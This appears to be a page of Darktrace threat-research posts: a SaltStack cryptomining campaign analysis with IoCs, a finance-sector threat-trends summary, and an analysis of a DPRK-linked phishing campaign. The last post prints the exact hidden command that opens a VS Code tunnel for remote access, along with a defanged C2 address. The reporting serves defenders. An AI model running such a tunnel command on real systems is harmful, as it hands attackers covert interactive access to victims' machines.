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July 7, 2020

Cryptomining Campaigns & Technical Analysis of Vulnerability

Crypto-mining campaigns stood no chance against Darktrace's AI as it identified the threat in real time. Put your trust in Darktrace's assistance!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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07
Jul 2020

Introduction

The speed with which attackers can weaponize vulnerabilities is steadily increasing. While technology is rapidly evolving and cyber-attacks are becoming more sophisticated, the advantages of exploiting software vulnerabilities over devising a more elaborate and lengthy attack plan have not been overlooked by hackers. These vulnerabilities are also a quick way to gain access into a businesses’ infrastructure. In recent years, attackers have found great benefit and substantial success through quickly weaponizing vulnerabilities in web-facing systems.

Just recently, critical vulnerabilities in Citrix Gateway resulted in a spate of activity targeting Darktrace customers, as reported earlier this year. Without an immediate patch released upon the public announcement of the discovered flaws in Citrix, exploits quickly followed. Similarly, in late April, SaltStack developers reported vulnerabilities in Salt, an open source framework used to monitor and update the state of servers in cloud environments and data centers.

The vulnerabilities found in Salt would allow hackers to bypass authentication and authorization controls and execute code in Salt master servers exposed to the internet. The Salt master is responsible for sending commands to Salt minions and can manage thousands of minions at once. Due to this structure, one exposed Salt master can lead to a compromise of all underlying minions.

On May 2, Darktrace detected successful crypto-miner infections across a number of its customers exploiting the CVE-2020-11651 and CVE-2020-11652 vulnerabilities in SaltStack server management software. In the same weekend, LineageOS — an Android mobile operating system – and Ghost — a blogging platform – both reported suffering a crypto-mining attack due to exposed, unpatched Salt servers. Most notable about these attacks was the sheer speed from a vulnerability being published to a widespread attack campaign.

Timeline

Figure 1: A timeline of events identified by Darktrace on May 3

Technical analysis

Initial compromise

Darktrace initially detected that a number of customer servers running SaltStack were making external connections to endpoints previously not seen on the network. The connections used the curl or wget utilities to download and execute a bash script, which would install a secondary-stage payload containing a cryptocurrency miner.

The systems were targeted directly utilizing 2020-11651 and CVE-2020-11652 vulnerabilities in the ZeroMQ protocol running on SaltStack. These vulnerabilities would allow direct remote code execution as root on the targeted systems, allowing the script to be downloaded and executed successfully with highest system privileges.

The downloader script is almost identical to the one utilized in March in H2Miner infections targeting exposed Docker APIs and Redis instances.

Before downloading the secondary stage payload, the script cleans the target system of a number of pre-existing infections and miners, as well as disabling a number of known security tools and software.

Figure 2: The downloader script

Following the initial clean up, the script would iterate through three functions to download the crypto-miner payload — salt-storer

SHA256 837d768875417578c0b1cab4bd0aa38146147799f643bb7b3c6c6d3d82d7aa2a

— from three different hard-coded servers. An MD5 check for the downloaded executable would be performed prior to execution. The below screenshot illustrates two out of the three downloader functions that would be invoked.

Figure 3: Two of the downloader functions

Second stage payload

Following the cryptographic checks, the downloaded ELF LSB executable kicks into action. No payload analysis was carried out, however it’s execution would result in a crypto-miner being installed and a C2 channel opened.

OSINT indicates that several new versions of the payload were observed carrying additional capabilities, including database dumping and advanced persistence methods. The variants detected by Darktrace’s AI included the more advanced “Version 5” payload purported to have worming capabilities, but in this case they were not observed directly.

Command and control

Upon the execution of an LSB executable, a plaintext HTTP C2 channel would be established, sending basic metadata about the infected host such as processor architecture, available resources, and whether root execution was achieved. This indicates that the C2 mechanisms were likely repurposed from other infections, as this particular infection would execute as root, making the respective component redundant.

Figure 4: A Command and control channel

The complete attack lifecycle was investigated and reported on by Darktrace’s Cyber AI Analyst, which automatically surfaced some crucial details regarding the C2 communication, including other servers that were seen making similar communication patterns, as seen in the bottom right below.

Figure 5: The Cyber AI Analyst automatically generating a natural-language summary of the overall security incident

Figure 6: Further information on the suspicious endpoints

Actions on target

Lastly, devices began mining for cryptocurrency. Cryptocurrency mining demands a substantial proportion of a device’s processing power, such as CPU and GPU, in order to calculate hashes. However, except for the occasional increase in CPU or RAM usage, it can go undetected for months as traditional security products do not normally detect its pattern of behavior as malicious.

Conclusion

Failing to patch vulnerabilities quickly and decisively can have serious consequences. Sometimes, however, the window of opportunity before an attack hits is too short for patching to be feasible. This example demonstrates how quickly unpatched vulnerabilities can be exploited following an initial public disclosure. And yet, even two months after SaltStack published the updates, many Salt servers remain unpatched and run the risk of becoming compromised.

In the case of Citrix, some exploits led to a ransomware attack. Darktrace’s AI-powered Immune System technology not only detected every stage of these ransomware attacks, but its autonomous response was able to halt any anomalous event and contain further damage.

Because new vulnerabilities are, by nature, unexpected, traditional security tools relying on rules and signatures don’t know to look for malicious activity that arises as a result. However, with its constantly evolving understanding of ‘normal’, Darktrace’s AI detects and investigates any unusual behavior, regardless of its origin or whether an attack has been seen before.

Crypto-mining is still favored among many threat actors due to its ability to generate profits, and a successfully infection can have a serious impact on the confidentiality and integrity of the corporate network. The need for Cyber AI that can detect new vulnerabilities and novel threats, and autonomously respond to stop an attack in its tracks, are critical to ensuring businesses remain secure in the face of cyber-criminals who are mobilizing to exploit vulnerabilities more quickly than ever.

IoCs:

IoCComment144.217.129[.]111Likely C2, URIs: /ms /h /s91.215.152[.]69Likely C2, URI: /h89.223.121[.]139Download of payload sa.sh217.12.210[.]192Download of payload sa.sh45.147.201[.]62Destination for crypto-mining217.12.210[.]245Download of payload salt_storer

Darktrace model breaches:

  • Device / Initial Breach Chain Compromise
  • Compromise / SSL or HTTP Beacon
  • Device / Large Number of Model Breaches
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / Script from Rare External
  • Compromise / Beaconing Activity To External Rare
  • Anomalous Connection / Multiple Failed Connections to Rare Destination
  • Compromise / Sustained SSL or HTTP Increase
  • Compliance / Crypto Currency Mining Activity

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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